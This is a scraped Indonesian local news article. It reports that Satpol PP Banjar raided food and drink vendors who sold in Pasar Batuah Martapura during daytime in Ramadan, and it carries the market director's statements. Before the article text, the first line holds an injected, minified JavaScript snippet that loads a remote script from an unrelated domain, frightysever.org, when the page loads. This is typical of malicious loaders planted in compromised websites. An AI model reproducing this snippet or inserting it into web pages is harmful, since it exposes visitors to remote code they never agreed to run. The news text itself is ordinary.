(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

PD Pasar : Pelapak Makanan Minuman Sudah Diberitahu, Melanggar Perda Tindak Saja


MARTAPURA,  Ada pedagang makanan minuman membandel berjualan di lingkungan pasar, Dirut PD Pasar Buntung Batuah Martapura Rusdiansyah mengatakan,  sebelumnya menjelang bulan Ramadhan pihaknya sudah menerbitkan surat edaran yang berisikan imbauan agar tak berjualan siang hari.

“Kita sudah menyampaikan kewajiban itu,  agar tidak menggelar dagangan makanan dan minuman pada siang hari aktifitas pedagang penjual makanan minuman hanya boleh di lakukan pukul 15.00 hingga 16.00 Wita,” jelasnya.

Sementara bagi para pedagang yang masih membandel menggelar lapaknya pada siang hari,  dirinya menyerahkan sepenuhnya kepada Satpol PP Banjar untuk menindak tegas,  siapa saja yang tidak menaati aturan tersebut.

“Kami sangat berterimakasih kepada seluruh Satpol PP Banjar yang sudah menertibkan para pedagang yang masih membandel berjualan di area lingkungan pasar Martapura bertindak sebagai penegak dari pada aturan itu. “Bagi siapa saja yang tidak menaati aturan tertibkan saja,” tegasnya.

Sebelumnya Satuan Polisi Pamong Praja (Satpol PP Banjar) Kabupaten Banjar merazia pelapak nakal yang bandel berjualan siang bolong,  di lingkungan Pasar Batuah Martapura.

Berdasarkan pantauan Kanal Kalimantan, pasca razia yang dilakukan satpol  PP Banjar Selasa (21/5)  siang, tidak ada satupun pemilik lapak yang didapati dan berani menghadapi Satpol PP Banjar,  lapak dagangan sengaja ditinggalkan kosong oleh pedagang lantaran takut di rajia.

Hasil razia itu Satpol PP menyita beberapa barang bukti makanan yang dijual pelapak, Satpol PP Banjar menerbitkan surat peringatan yang sengaja ditinggalkan di lapak pedagang dengan harapan pedagang dapat menaati aturan terkait perdana Ramadhan.

Tak selang beberapa lama para pedagang mendatangi kantor Satpol PP Banjar dan mengambil barang bukti makanan yang sebelumnya disita,  dan kembali menjual lapaknya di lingkungan Pasar Batuah Martapura.

“Kita hanya mendapati dua lapak yang menjual makanan saja, yang punya lapak kabur tidak ada di tempat,  satu orang merokok di siang bolong,  dan satu orang peminta sumbangan tanpa izin yang jelas,  semuanya kita dapati di lingkungan pasar Batuah Martapura,” ujar Kasi Lidik dan Penyidik Satpol PP Kabupaten Banjar Wahyudi. (rendy)

Reporter:Rendy
Editor:Bie

Desy Arfianty

Recent Posts

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

5 menit ago

Nyemplung di Sungai Martapura Hendak Ambil Kacamata Berakhir Tak Bernyawa

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More

33 menit ago

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

49 menit ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

16 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

19 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

19 jam ago

This website uses cookies.